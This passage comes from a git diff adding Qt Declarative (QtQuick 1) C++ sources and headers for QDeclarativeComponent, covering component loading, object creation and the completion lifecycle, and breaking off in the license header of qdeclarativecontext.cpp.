+QDeclarativeComponent::QDeclarativeComponent(QDeclarativeEngine *engine, QObject *parent)
+ : QObject(*(new QDeclarativeComponentPrivate), parent)
+{
+ Q_D(QDeclarativeComponent);
+ d->engine = engine;
+}
+
+/*!
+ Create a QDeclarativeComponent from the given \a url and give it the
+ specified \a parent and \a engine.
+
+ Ensure that the URL provided is full and correct, in particular, use
+ \l QUrl::fromLocalFile() when loading a file from the local filesystem.
+
+ \sa loadUrl()
+*/
+QDeclarativeComponent::QDeclarativeComponent(QDeclarativeEngine *engine, const QUrl &url, QObject *parent)
+: QObject(*(new QDeclarativeComponentPrivate), parent)
+{
+ Q_D(QDeclarativeComponent);
+ d->engine = engine;
+ loadUrl(url);
+}
+
+/*!
+ Create a QDeclarativeComponent from the given \a fileName and give it the specified
+ \a parent and \a engine.
+
+ \sa loadUrl()
+*/
+QDeclarativeComponent::QDeclarativeComponent(QDeclarativeEngine *engine, const QString &fileName,
+ QObject *parent)
+: QObject(*(new QDeclarativeComponentPrivate), parent)
+{
+ Q_D(QDeclarativeComponent);
+ d->engine = engine;
+ loadUrl(d->engine->baseUrl().resolved(QUrl::fromLocalFile(fileName)));
+}
+
+/*!
+ \internal
+*/
+QDeclarativeComponent::QDeclarativeComponent(QDeclarativeEngine *engine, QDeclarativeCompiledData *cc, int start, int count, QObject *parent)
+ : QObject(*(new QDeclarativeComponentPrivate), parent)
+{
+ Q_D(QDeclarativeComponent);
+ d->engine = engine;
+ d->cc = cc;
+ cc->addref();
+ d->start = start;
+ d->count = count;
+ d->url = cc->url;
+ d->progress = 1.0;
+}
+
+/*!
+ Sets the QDeclarativeComponent to use the given QML \a data. If \a url
+ is provided, it is used to set the component name and to provide
+ a base path for items resolved by this component.
+*/
+void QDeclarativeComponent::setData(const QByteArray &data, const QUrl &url)
+{
+ Q_D(QDeclarativeComponent);
+
+ d->clear();
+
+ d->url = url;
+
+ QDeclarativeTypeData *typeData = QDeclarativeEnginePrivate::get(d->engine)->typeLoader.get(data, url);
+
+ if (typeData->isCompleteOrError()) {
+ d->fromTypeData(typeData);
+ } else {
+ d->typeData = typeData;
+ d->typeData->registerCallback(d);
+ }
+
+ d->progress = 1.0;
+ emit statusChanged(status());
+ emit progressChanged(d->progress);
+}
+
+/*!
+Returns the QDeclarativeContext the component was created in. This is only
+valid for components created directly from QML.
+*/
+QDeclarativeContext *QDeclarativeComponent::creationContext() const
+{
+ Q_D(const QDeclarativeComponent);
+ if(d->creationContext)
+ return d->creationContext->asQDeclarativeContext();
+
+ return qmlContext(this);
+}
+
+/*!
+ Load the QDeclarativeComponent from the provided \a url.
+
+ Ensure that the URL provided is full and correct, in particular, use
+ \l QUrl::fromLocalFile() when loading a file from the local filesystem.
+*/
+void QDeclarativeComponent::loadUrl(const QUrl &url)
+{
+ Q_D(QDeclarativeComponent);
+
+ d->clear();
+
+ if ((url.isRelative() && !url.isEmpty())
+ || url.scheme() == QLatin1String("file")) // Workaround QTBUG-11929
+ d->url = d->engine->baseUrl().resolved(url);
+ else
+ d->url = url;
+
+ if (url.isEmpty()) {
+ QDeclarativeError error;
+ error.setDescription(tr("Invalid empty URL"));
+ d->state.errors << error;
+ return;
+ }
+
+ QDeclarativeTypeData *data = QDeclarativeEnginePrivate::get(d->engine)->typeLoader.get(d->url);
+
+ if (data->isCompleteOrError()) {
+ d->fromTypeData(data);
+ d->progress = 1.0;
+ } else {
+ d->typeData = data;
+ d->typeData->registerCallback(d);
+ d->progress = data->progress();
+ }
+
+ emit statusChanged(status());
+ emit progressChanged(d->progress);
+}
+
+/*!
+ Return the list of errors that occurred during the last compile or create
+ operation. An empty list is returned if isError() is not set.
+*/
+QList<QDeclarativeError> QDeclarativeComponent::errors() const
+{
+ Q_D(const QDeclarativeComponent);
+ if (isError())
+ return d->state.errors;
+ else
+ return QList<QDeclarativeError>();
+}
+
+/*!
+ \qmlmethod string Component::errorString()
+
+ Returns a human-readable description of any errors.
+
+ The string includes the file, location, and description of each error.
+ If multiple errors are present they are separated by a newline character.
+
+ If no errors are present, an empty string is returned.
+*/
+
+/*!
+ \internal
+ errorString is only meant as a way to get the errors in script
+*/
+QString QDeclarativeComponent::errorString() const
+{
+ Q_D(const QDeclarativeComponent);
+ QString ret;
+ if(!isError())
+ return ret;
+ foreach(const QDeclarativeError &e, d->state.errors) {
+ ret += e.url().toString() + QLatin1Char(':') +
+ QString::number(e.line()) + QLatin1Char(' ') +
+ e.description() + QLatin1Char('\n');
+ }
+ return ret;
+}
+
+/*!
+ \qmlproperty url Component::url
+ The component URL. This is the URL that was used to construct the component.
+*/
+
+/*!
+ \property QDeclarativeComponent::url
+ The component URL. This is the URL passed to either the constructor,
+ or the loadUrl() or setData() methods.
+*/
+QUrl QDeclarativeComponent::url() const
+{
+ Q_D(const QDeclarativeComponent);
+ return d->url;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject *parent)
+ : QObject(dd, parent)
+{
+}
+
+/*!
+ \qmlmethod object Component::createObject(Item parent, object properties)
+
+ Creates and returns an object instance of this component that will have
+ the given \a parent and \a properties. The \a properties argument is optional.
+ Returns null if object creation fails.
+
+ The object will be created in the same context as the one in which the component
+ was created. This function will always return null when called on components
+ which were not created in QML.
+
+ If you wish to create an object without setting a parent, specify \c null for
+ the \a parent value. Note that if the returned object is to be displayed, you
+ must provide a valid \a parent value or set the returned object's \l{Item::parent}{parent}
+ property, or else the object will not be visible.
+
+ If a \a parent is not provided to createObject(), a reference to the returned object must be held so that
+ it is not destroyed by the garbage collector. This is true regardless of whether \l{Item::parent} is set afterwards,
+ since setting the Item parent does not change object ownership; only the graphical parent is changed.
+
+ As of QtQuick 1.1, this method accepts an optional \a properties argument that specifies a
+ map of initial property values for the created object. These values are applied before object
+ creation is finalized. (This is more efficient than setting property values after object creation,
+ particularly where large sets of property values are defined, and also allows property bindings
+ to be set up before the object is created.)
+
+ The \a properties argument is specified as a map of property-value items. For example, the code
+ below creates an object with initial \c x and \c y values of 100 and 200, respectively:
+
+ \js
+ var component = Qt.createComponent("Button.qml");
+ if (component.status == Component.Ready)
+ component.createObject(parent, {"x": 100, "y": 100});
+ \endjs
+
+ Dynamically created instances can be deleted with the \c destroy() method.
+ See \l {Dynamic Object Management in QML} for more information.
+*/
+
+/*!
+ \internal
+ A version of create which returns a scriptObject, for use in script.
+ This function will only work on components created in QML.
+
+ Sets graphics object parent because forgetting to do this is a frequent
+ and serious problem.
+*/
+QScriptValue QDeclarativeComponent::createObject(QObject* parent)
+{
+ Q_D(QDeclarativeComponent);
+ return d->createObject(parent, QScriptValue(QScriptValue::NullValue));
+}
+
+/*!
+ \internal
+ Overloadable method allows properties to be set during creation
+*/
+QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptValue& valuemap)
+{
+ Q_D(QDeclarativeComponent);
+
+ if (!valuemap.isObject() || valuemap.isArray()) {
+ qmlInfo(this) << tr("createObject: value is not an object");
+ return QScriptValue(QScriptValue::NullValue);
+ }
+ return d->createObject(parent, valuemap);
+}
+
+QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, const QScriptValue valuemap)
+{
+ Q_Q(QDeclarativeComponent);
+ QDeclarativeContext* ctxt = q->creationContext();
+ if(!ctxt && engine)
+ ctxt = engine->rootContext();
+ if (!ctxt)
+ return QScriptValue(QScriptValue::NullValue);
+ QObject* ret = q->beginCreate(ctxt);
+ if (!ret) {
+ q->completeCreate();
+ return QScriptValue(QScriptValue::NullValue);
+ }
+
+ if (publicParent) {
+ ret->setParent(publicParent);
+ QList<QDeclarativePrivate::AutoParentFunction> functions = QDeclarativeMetaType::parentFunctions();
+
+ bool needParent = false;
+
+ for (int ii = 0; ii < functions.count(); ++ii) {
+ QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, publicParent);
+ if (res == QDeclarativePrivate::Parented) {
+ needParent = false;
+ break;
+ } else if (res == QDeclarativePrivate::IncompatibleParent) {
+ needParent = true;
+ }
+ }
+
+ if (needParent)
+ qWarning("QDeclarativeComponent: Created graphical object was not placed in the graphics scene.");
+ }
+
+ QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
+ QDeclarativeData::get(ret, true)->setImplicitDestructible();
+ QScriptValue newObject = priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
+
+ if (valuemap.isObject() && !valuemap.isArray()) {
+ //Iterate through and assign properties
+ QScriptValueIterator it(valuemap);
+ while (it.hasNext()) {
+ it.next();
+ QScriptValue prop = newObject;
+ QString propName = it.name();
+ int index = propName.indexOf(QLatin1Char('.'));
+ if (index > 0) {
+ QString subProp = propName;
+ int lastIndex = 0;
+ while (index > 0) {
+ subProp = propName.mid(lastIndex, index - lastIndex);
+ prop = prop.property(subProp);
+ lastIndex = index + 1;
+ index = propName.indexOf(QLatin1Char('.'), index + 1);
+ }
+ prop.setProperty(propName.mid(propName.lastIndexOf(QLatin1Char('.')) + 1), it.value());
+ } else {
+ newObject.setProperty(propName, it.value());
+ }
+ }
+ }
+
+ q->completeCreate();
+
+ return newObject;
+}
+
+/*!
+ Create an object instance from this component. Returns 0 if creation
+ failed. \a context specifies the context within which to create the object
+ instance.
+
+ If \a context is 0 (the default), it will create the instance in the
+ engine' s \l {QDeclarativeEngine::rootContext()}{root context}.
+*/
+QObject *QDeclarativeComponent::create(QDeclarativeContext *context)
+{
+ Q_D(QDeclarativeComponent);
+
+ if (!context)
+ context = d->engine->rootContext();
+
+ QObject *rv = beginCreate(context);
+ completeCreate();
+ return rv;
+}
+
+/*!
+ This method provides more advanced control over component instance creation.
+ In general, programmers should use QDeclarativeComponent::create() to create a
+ component.
+
+ Create an object instance from this component. Returns 0 if creation
+ failed. \a context specifies the context within which to create the object
+ instance.
+
+ When QDeclarativeComponent constructs an instance, it occurs in three steps:
+ \list 1
+ \i The object hierarchy is created, and constant values are assigned.
+ \i Property bindings are evaluated for the the first time.
+ \i If applicable, QDeclarativeParserStatus::componentComplete() is called on objects.
+ \endlist
+ QDeclarativeComponent::beginCreate() differs from QDeclarativeComponent::create() in that it
+ only performs step 1. QDeclarativeComponent::completeCreate() must be called to
+ complete steps 2 and 3.
+
+ This breaking point is sometimes useful when using attached properties to
+ communicate information to an instantiated component, as it allows their
+ initial values to be configured before property bindings take effect.
+*/
+QObject *QDeclarativeComponent::beginCreate(QDeclarativeContext *context)
+{
+ Q_D(QDeclarativeComponent);
+ QObject *rv = d->beginCreate(context?QDeclarativeContextData::get(context):0, QBitField());
+ if (rv) {
+ QDeclarativeData *ddata = QDeclarativeData::get(rv);
+ Q_ASSERT(ddata);
+ ddata->indestructible = true;
+ }
+ return rv;
+}
+
+QObject *
+QDeclarativeComponentPrivate::beginCreate(QDeclarativeContextData *context, const QBitField &bindings)
+{
+ Q_Q(QDeclarativeComponent);
+ if (!context) {
+ qWarning("QDeclarativeComponent: Cannot create a component in a null context");
+ return 0;
+ }
+
+ if (!context->isValid()) {
+ qWarning("QDeclarativeComponent: Cannot create a component in an invalid context");
+ return 0;
+ }
+
+ if (context->engine != engine) {
+ qWarning("QDeclarativeComponent: Must create component in context from the same QDeclarativeEngine");
+ return 0;
+ }
+
+ if (state.completePending) {
+ qWarning("QDeclarativeComponent: Cannot create new component instance before completing the previous");
+ return 0;
+ }
+
+ if (!q->isReady()) {
+ qWarning("QDeclarativeComponent: Component is not ready");
+ return 0;
+ }
+
+ return begin(context, creationContext, cc, start, count, &state, 0, bindings);
+}
+
+QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentContext,
+ QDeclarativeContextData *componentCreationContext,
+ QDeclarativeCompiledData *component, int start, int count,
+ ConstructionState *state, QList<QDeclarativeError> *errors,
+ const QBitField &bindings)
+{
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(parentContext->engine);
+ bool isRoot = !enginePriv->inBeginCreate;
+
+ Q_ASSERT(!isRoot || state); // Either this isn't a root component, or a state data must be provided
+ Q_ASSERT((state != 0) ^ (errors != 0)); // One of state or errors (but not both) must be provided
+
+ if (isRoot) {
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+ QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, component->url);
+ }
+
+ QDeclarativeContextData *ctxt = new QDeclarativeContextData;
+ ctxt->isInternal = true;
+ ctxt->url = component->url;
+ ctxt->imports = component->importCache;
+
+ // Nested global imports
+ if (componentCreationContext && start != -1)
+ ctxt->importedScripts = componentCreationContext->importedScripts;
+
+ component->importCache->addref();
+ ctxt->setParent(parentContext);
+
+ enginePriv->inBeginCreate = true;
+
+ QDeclarativeVME vme;
+ QObject *rv = vme.run(ctxt, component, start, count, bindings);
+
+ if (vme.isError()) {
+ if(errors) *errors = vme.errors();
+ else state->errors = vme.errors();
+ }
+
+ if (isRoot) {
+ enginePriv->inBeginCreate = false;
+
+ state->bindValues = enginePriv->bindValues;
+ state->parserStatus = enginePriv->parserStatus;
+ state->finalizedParserStatus = enginePriv->finalizedParserStatus;
+ state->componentAttached = enginePriv->componentAttached;
+ if (state->componentAttached)
+ state->componentAttached->prev = &state->componentAttached;
+
+ enginePriv->componentAttached = 0;
+ enginePriv->bindValues.clear();
+ enginePriv->parserStatus.clear();
+ enginePriv->finalizedParserStatus.clear();
+ state->completePending = true;
+ enginePriv->inProgressCreations++;
+ }
+
+ if (enginePriv->isDebugging && rv) {
+ if (!parentContext->isInternal)
+ parentContext->asQDeclarativeContextPrivate()->instances.append(rv);
+ QDeclarativeEngineDebugService::instance()->objectCreated(parentContext->engine, rv);
+ }
+
+ return rv;
+}
+
+void QDeclarativeComponentPrivate::beginDeferred(QDeclarativeEnginePrivate *enginePriv,
+ QObject *object, ConstructionState *state)
+{
+ bool isRoot = !enginePriv->inBeginCreate;
+ enginePriv->inBeginCreate = true;
+
+ QDeclarativeVME vme;
+ vme.runDeferred(object);
+
+ if (vme.isError())
+ state->errors = vme.errors();
+
+ if (isRoot) {
+ enginePriv->inBeginCreate = false;
+
+ state->bindValues = enginePriv->bindValues;
+ state->parserStatus = enginePriv->parserStatus;
+ state->finalizedParserStatus = enginePriv->finalizedParserStatus;
+ state->componentAttached = enginePriv->componentAttached;
+ if (state->componentAttached)
+ state->componentAttached->prev = &state->componentAttached;
+
+ enginePriv->componentAttached = 0;
+ enginePriv->bindValues.clear();
+ enginePriv->parserStatus.clear();
+ enginePriv->finalizedParserStatus.clear();
+ state->completePending = true;
+ enginePriv->inProgressCreations++;
+ }
+}
+
+void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state)
+{
+ if (state->completePending) {
+ QT_TRY {
+ for (int ii = 0; ii < state->bindValues.count(); ++ii) {
+ QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding> bv =
+ state->bindValues.at(ii);
+ for (int jj = 0; jj < bv.count; ++jj) {
+ if(bv.at(jj)) {
+ // XXX akennedy
+ bv.at(jj)->m_mePtr = 0;
+ bv.at(jj)->setEnabled(true, QDeclarativePropertyPrivate::BypassInterceptor |
+ QDeclarativePropertyPrivate::DontRemoveBinding);
+ }
+ }
+ QDeclarativeEnginePrivate::clear(bv);
+ }
+
+ for (int ii = 0; ii < state->parserStatus.count(); ++ii) {
+ QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus> ps =
+ state->parserStatus.at(ii);
+
+ for (int jj = ps.count - 1; jj >= 0; --jj) {
+ QDeclarativeParserStatus *status = ps.at(jj);
+ if (status && status->d) {
+ status->d = 0;
+ status->componentComplete();
+ }
+ }
+ QDeclarativeEnginePrivate::clear(ps);
+ }
+
+ for (int ii = 0; ii < state->finalizedParserStatus.count(); ++ii) {
+ QPair<QDeclarativeGuard<QObject>, int> status = state->finalizedParserStatus.at(ii);
+ QObject *obj = status.first;
+ if (obj) {
+ void *args[] = { 0 };
+ QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
+ status.second, args);
+ }
+ }
+
+ //componentComplete() can register additional finalization objects
+ //that are then never handled. Handle them manually here.
+ if (1 == enginePriv->inProgressCreations) {
+ for (int ii = 0; ii < enginePriv->finalizedParserStatus.count(); ++ii) {
+ QPair<QDeclarativeGuard<QObject>, int> status = enginePriv->finalizedParserStatus.at(ii);
+ QObject *obj = status.first;
+ if (obj) {
+ void *args[] = { 0 };
+ QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
+ status.second, args);
+ }
+ }
+ enginePriv->finalizedParserStatus.clear();
+ }
+
+ while (state->componentAttached) {
+ QDeclarativeComponentAttached *a = state->componentAttached;
+ a->rem();
+ QDeclarativeData *d = QDeclarativeData::get(a->parent());
+ Q_ASSERT(d);
+ Q_ASSERT(d->context);
+ a->add(&d->context->componentAttached);
+ emit a->completed();
+ }
+ } QT_CATCH(const std::exception&) {
+ state->bindValues.clear();
+ state->parserStatus.clear();
+ state->finalizedParserStatus.clear();
+ state->completePending = false;
+ enginePriv->inProgressCreations--;
+ QT_RETHROW;
+ }
+
+ state->bindValues.clear();
+ state->parserStatus.clear();
+ state->finalizedParserStatus.clear();
+ state->completePending = false;
+
+ enginePriv->inProgressCreations--;
+ if (0 == enginePriv->inProgressCreations) {
+ while (enginePriv->erroredBindings) {
+ enginePriv->warning(enginePriv->erroredBindings->error);
+ enginePriv->erroredBindings->removeError();
+ }
+ }
+ }
+}
+
+/*!
+ This method provides more advanced control over component instance creation.
+ In general, programmers should use QDeclarativeComponent::create() to create a
+ component.
+
+ Complete a component creation begin with QDeclarativeComponent::beginCreate().
+*/
+void QDeclarativeComponent::completeCreate()
+{
+ Q_D(QDeclarativeComponent);
+ d->completeCreate();
+}
+
+void QDeclarativeComponentPrivate::completeCreate()
+{
+ if (state.completePending) {
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(engine);
+ complete(ep, &state);
+
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating);
+ }
+}
+
+QDeclarativeComponentAttached::QDeclarativeComponentAttached(QObject *parent)
+: QObject(parent), prev(0), next(0)
+{
+}
+
+QDeclarativeComponentAttached::~QDeclarativeComponentAttached()
+{
+ if (prev) *prev = next;
+ if (next) next->prev = prev;
+ prev = 0;
+ next = 0;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeComponentAttached *QDeclarativeComponent::qmlAttachedProperties(QObject *obj)
+{
+ QDeclarativeComponentAttached *a = new QDeclarativeComponentAttached(obj);
+
+ QDeclarativeEngine *engine = qmlEngine(obj);
+ if (!engine)
+ return a;
+
+ if (QDeclarativeEnginePrivate::get(engine)->inBeginCreate) {
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(engine);
+ a->add(&p->componentAttached);
+ } else {
+ QDeclarativeData *d = QDeclarativeData::get(obj);
+ Q_ASSERT(d);
+ Q_ASSERT(d->context);
+ a->add(&d->context->componentAttached);
+ }
+
+ return a;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
new file mode 100644
index 00000000..50954ad7
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecomponent.h
@@ -0,0 +1,132 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECOMPONENT_H
+#define QDECLARATIVECOMPONENT_H
+
+#include <QtDeclarative/qdeclarative.h>
+#include <QtDeclarative/qdeclarativeerror.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qstring.h>
+#include <QtScript/qscriptvalue.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeCompiledData;
+class QByteArray;
+class QDeclarativeComponentPrivate;
+class QDeclarativeEngine;
+class QDeclarativeComponentAttached;
+class Q_DECLARATIVE_EXPORT QDeclarativeComponent : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeComponent)
+
+ Q_PROPERTY(qreal progress READ progress NOTIFY progressChanged)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+ Q_PROPERTY(QUrl url READ url CONSTANT)
+
+public:
+ QDeclarativeComponent(QObject *parent = 0);
+ QDeclarativeComponent(QDeclarativeEngine *, QObject *parent=0);
+ QDeclarativeComponent(QDeclarativeEngine *, const QString &fileName, QObject *parent = 0);
+ QDeclarativeComponent(QDeclarativeEngine *, const QUrl &url, QObject *parent = 0);
+ virtual ~QDeclarativeComponent();
+
+ Q_ENUMS(Status)
+ enum Status { Null, Ready, Loading, Error };
+ Status status() const;
+
+ bool isNull() const;
+ bool isReady() const;
+ bool isError() const;
+ bool isLoading() const;
+
+ QList<QDeclarativeError> errors() const;
+ Q_INVOKABLE QString errorString() const;
+
+ qreal progress() const;
+
+ QUrl url() const;
+
+ virtual QObject *create(QDeclarativeContext *context = 0);
+ virtual QObject *beginCreate(QDeclarativeContext *);
+ virtual void completeCreate();
+
+ void loadUrl(const QUrl &url);
+ void setData(const QByteArray &, const QUrl &baseUrl);
+
+ QDeclarativeContext *creationContext() const;
+
+ static QDeclarativeComponentAttached *qmlAttachedProperties(QObject *);
+
+Q_SIGNALS:
+ void statusChanged(QDeclarativeComponent::Status);
+ void progressChanged(qreal);
+
+protected:
+ QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
+ Q_INVOKABLE QScriptValue createObject(QObject* parent);
+ Q_INVOKABLE Q_REVISION(1) QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
+
+private:
+ QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
+
+ Q_DISABLE_COPY(QDeclarativeComponent)
+ friend class QDeclarativeVME;
+ friend class QDeclarativeCompositeTypeData;
+ friend class QDeclarativeTypeData;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeComponent::Status)
+QML_DECLARE_TYPE(QDeclarativeComponent)
+QML_DECLARE_TYPEINFO(QDeclarativeComponent, QML_HAS_ATTACHED_PROPERTIES)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVECOMPONENT_H
diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h
new file mode 100644
index 00000000..f75999b9
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecomponent_p.h
@@ -0,0 +1,161 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVECOMPONENT_P_H
+#define QDECLARATIVECOMPONENT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativecomponent.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativetypeloader_p.h"
+#include "private/qbitfield_p.h"
+#include "qdeclarativeerror.h"
+#include "qdeclarative.h"
+
+#include <QtCore/QString>
+#include <QtCore/QStringList>
+#include <QtCore/QList>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeComponent;
+class QDeclarativeEngine;
+class QDeclarativeCompiledData;
+
+class QDeclarativeComponentAttached;
+class Q_AUTOTEST_EXPORT QDeclarativeComponentPrivate : public QObjectPrivate, public QDeclarativeTypeData::TypeDataCallback
+{
+ Q_DECLARE_PUBLIC(QDeclarativeComponent)
+
+public:
+ QDeclarativeComponentPrivate() : typeData(0), progress(0.), start(-1), count(-1), cc(0), engine(0), creationContext(0) {}
+
+ QObject *beginCreate(QDeclarativeContextData *, const QBitField &);
+ void completeCreate();
+
+ QDeclarativeTypeData *typeData;
+ virtual void typeDataReady(QDeclarativeTypeData *);
+ virtual void typeDataProgress(QDeclarativeTypeData *, qreal);
+
+ void fromTypeData(QDeclarativeTypeData *data);
+
+ QUrl url;
+ qreal progress;
+
+ int start;
+ int count;
+ QDeclarativeCompiledData *cc;
+
+ struct ConstructionState {
+ ConstructionState() : componentAttached(0), completePending(false) {}
+ QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding> > bindValues;
+ QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus> > parserStatus;
+ QList<QPair<QDeclarativeGuard<QObject>, int> > finalizedParserStatus;
+ QDeclarativeComponentAttached *componentAttached;
+ QList<QDeclarativeError> errors;
+ bool completePending;
+ };
+ ConstructionState state;
+
+ static QObject *begin(QDeclarativeContextData *parentContext, QDeclarativeContextData *componentCreationContext,
+ QDeclarativeCompiledData *component, int start, int count,
+ ConstructionState *state, QList<QDeclarativeError> *errors,
+ const QBitField &bindings = QBitField());
+ static void beginDeferred(QDeclarativeEnginePrivate *enginePriv, QObject *object,
+ ConstructionState *state);
+ static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state);
+
+ QScriptValue createObject(QObject *publicParent, const QScriptValue valuemap);
+
+ QDeclarativeEngine *engine;
+ QDeclarativeGuardedContextData creationContext;
+
+ void clear();
+
+ static QDeclarativeComponentPrivate *get(QDeclarativeComponent *c) {
+ return static_cast<QDeclarativeComponentPrivate *>(QObjectPrivate::get(c));
+ }
+};
+
+class QDeclarativeComponentAttached : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeComponentAttached(QObject *parent = 0);
+ ~QDeclarativeComponentAttached();
+
+ void add(QDeclarativeComponentAttached **a) {
+ prev = a; next = *a; *a = this;
+ if (next) next->prev = &next;
+ }
+ void rem() {
+ if (next) next->prev = prev;
+ *prev = next;
+ next = 0; prev = 0;
+ }
+ QDeclarativeComponentAttached **prev;
+ QDeclarativeComponentAttached *next;
+
+Q_SIGNALS:
+ void completed();
+ void destruction();
+
+private:
+ friend class QDeclarativeContextData;
+ friend class QDeclarativeComponentPrivate;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVECOMPONENT_P_H
diff --git a/src/declarative/qml/qdeclarativecontext.cpp b/src/declarative/qml/qdeclarativecontext.cpp
new file mode 100644
index 00000000..9132d0e1
--- /dev/null
+++ b/src/declarative/qml/qdeclarativecontext.cpp
@@ -0,0 +1,774 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
